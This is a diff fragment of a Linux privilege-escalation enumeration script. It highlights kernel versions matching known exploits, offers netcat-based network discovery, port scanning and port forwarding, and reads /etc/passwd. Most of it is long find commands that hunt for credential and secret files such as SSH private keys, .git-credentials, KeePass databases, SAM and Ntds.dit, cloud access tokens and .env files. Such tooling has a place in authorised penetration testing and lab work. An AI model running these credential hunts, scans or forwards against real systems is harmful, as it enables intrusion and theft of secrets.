+(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED},"
+printf $LG"User & Groups: "$NC
+(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$idB,${SED_RED},g"
+printf $LG"Hostname: "$NC
+hostname 2>/dev/null
+printf $LG"Writable folder: "$NC;
+echo $Wfolder
+
+if ! [ "$FAST" ] && ! [ "$AUTO_NETWORK_SCAN" ]; then
+ printf $LG"Remember that you can use the '-t' option to call the Internet connectivity checks and automatic network recon!\n"$NC;
+fi
+
+if [ "$DISCOVER_BAN_GOOD" ]; then
+ printf $YELLOW"[+] $DISCOVER_BAN_GOOD\n$NC"
+else
+ printf $RED"[-] $DISCOVER_BAN_BAD\n$NC"
+fi
+
+if [ "$SCAN_BAN_GOOD" ]; then
+ printf "$SCAN_BAN_GOOD\n$NC"
+else
+ printf $RED"[-] $SCAN_BAN_BAD\n$NC"
+fi
+if [ "$(command -v nmap 2>/dev/null)" ];then
+ NMAP_GOOD=$GREEN"nmap${BLUE} is available for network discovery & port scanning, you should use it yourself"
+ printf $YELLOW"[+] $NMAP_GOOD\n$NC"
+fi
+echo ""
+echo ""
+
+###########################################
+#--------) Check if network jobs (--------#
+###########################################
+if [ "$PORTS" ]; then
+ if [ "$SCAN_BAN_GOOD" ]; then
+ if [ "$(echo -n $PORTS | sed 's,[0-9, ],,g')" ]; then
+ printf $RED"[-] Err: Symbols detected in the port, for discovering purposes select only 1 port\n"$NC;
+ printf ${BLUE}"$HELP"$NC;
+ exit 0
+ else
+ # Select the correct configuration of the netcat found
+ select_nc
+ fi
+ else
+ printf $RED" Err: Port scan not possible, any netcat in PATH\n"$NC;
+ printf ${BLUE}"$HELP"$NC;
+ exit 0
+ fi
+fi
+
+if [ "$DISCOVERY" ]; then
+ if [ "$PORTS" ]; then
+ discovery_port_scan $DISCOVERY $PORTS
+ else
+ if [ "$DISCOVER_BAN_GOOD" ]; then
+ discover_network $DISCOVERY
+ else
+ printf $RED" Err: Discovery not possible, no fping or ping in PATH\n"$NC;
+ fi
+ fi
+ exit 0
+
+elif [ "$IP" ]; then
+ select_nc
+ tcp_port_scan $IP "$PORTS"
+ exit 0
+fi
+
+if [ "$PORT_FORWARD" ]; then
+ if ! [ "$FOUND_BASH" ]; then
+ printf $RED"[-] Err: Port forwarding not possible, no bash in PATH\n"$NC;
+ exit 0
+ fi
+
+ LOCAL_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 1)"
+ LOCAL_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 2)"
+ REMOTE_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 3)"
+ REMOTE_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 4)"
+
+ if ! [ "$LOCAL_IP" ] || ! [ "$LOCAL_PORT" ] || ! [ "$REMOTE_IP" ] || ! [ "$REMOTE_PORT" ]; then
+ printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC;
+ exit 0
+ fi
+
+ # Check if LOCAL_PORT is a number
+ if ! [ "$(echo $LOCAL_PORT | grep -E '^[0-9]+$')" ]; then
+ printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC;
+ fi
+
+ # Check if REMOTE_PORT is a number
+ if ! [ "$(echo $REMOTE_PORT | grep -E '^[0-9]+$')" ]; then
+ printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC;
+ fi
+
+ port_forward "$LOCAL_IP" "$LOCAL_PORT" "$REMOTE_IP" "$REMOTE_PORT"
+ exit 0
+fi
+
+
+# Get HOMESEARCH
+if [ "$SEARCH_IN_FOLDER" ]; then
+ HOMESEARCH="${ROOT_FOLDER}home/ ${ROOT_FOLDER}Users/ ${ROOT_FOLDER}root/ ${ROOT_FOLDER}var/www/"
+else
+ HOMESEARCH="/home/ /Users/ /root/ /var/www $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users|^/var/www" | tr "\n" " ")"
+ if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users|^/var/www"; then #If not listed and not in /home, /Users/, /root, or /var/www add current home folder
+ HOMESEARCH="$HOME $HOMESEARCH"
+ fi
+fi
+GREPHOMESEARCH=$(echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|") #Remove ending spaces before putting "|"
+
+
+
+
+###########################################
+#----------) Caching Finds (--------------#
+###########################################
+if [ "$SEARCH_IN_FOLDER" ]; then
+ printf $GREEN"Caching directories "$NC
+
+ CONT_THREADS=0
+ # FIND ALL KNOWN INTERESTING SOFTWARE FILES
+ FIND_DIR_CUSTOM=`eval_bckgrd "find $SEARCH_IN_FOLDER -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \"system-connections\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"bind\" -o -name \"system.d\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \"kubelet\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"pam.d\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \"kube-proxy\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" -o -name \"kubernetes\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_CUSTOM=`eval_bckgrd "find $SEARCH_IN_FOLDER -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \"*knockd*\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"*password*\" -o -name \"rktlet.sock\" -o -name \"software\" -o -name \".git-credentials\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"ssh*config\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"*.swp\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"agent*\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"exports\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"sess_*\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"config.xml\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+
+
+ wait # Always wait at the end
+ CONT_THREADS=0 #Reset the threads counter
+
+elif echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then
+
+ printf $GREEN"Caching directories "$NC
+
+ CONT_THREADS=0
+ # FIND ALL KNOWN INTERESTING SOFTWARE FILES
+ FIND_DIR_APPLICATIONS=`eval_bckgrd "find ${ROOT_FOLDER}applications -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_BIN=`eval_bckgrd "find ${ROOT_FOLDER}bin -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_CACHE=`eval_bckgrd "find ${ROOT_FOLDER}.cache -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_CDROM=`eval_bckgrd "find ${ROOT_FOLDER}cdrom -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_ETC=`eval_bckgrd "find ${ROOT_FOLDER}etc -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \"system-connections\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"bind\" -o -name \"system.d\" -o -name \"dirsrv\" -o -name \"kubelet\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"pam.d\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \"kube-proxy\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \"neo4j\" -o -name \".password-store\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" -o -name \"kubernetes\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_MEDIA=`eval_bckgrd "find ${ROOT_FOLDER}media -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_MNT=`eval_bckgrd "find ${ROOT_FOLDER}mnt -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_OPT=`eval_bckgrd "find ${ROOT_FOLDER}opt -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_PRIVATE=`eval_bckgrd "find ${ROOT_FOLDER}private -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_SBIN=`eval_bckgrd "find ${ROOT_FOLDER}sbin -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_SNAP=`eval_bckgrd "find ${ROOT_FOLDER}snap -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_SRV=`eval_bckgrd "find ${ROOT_FOLDER}srv -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_TMP=`eval_bckgrd "find ${ROOT_FOLDER}tmp -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
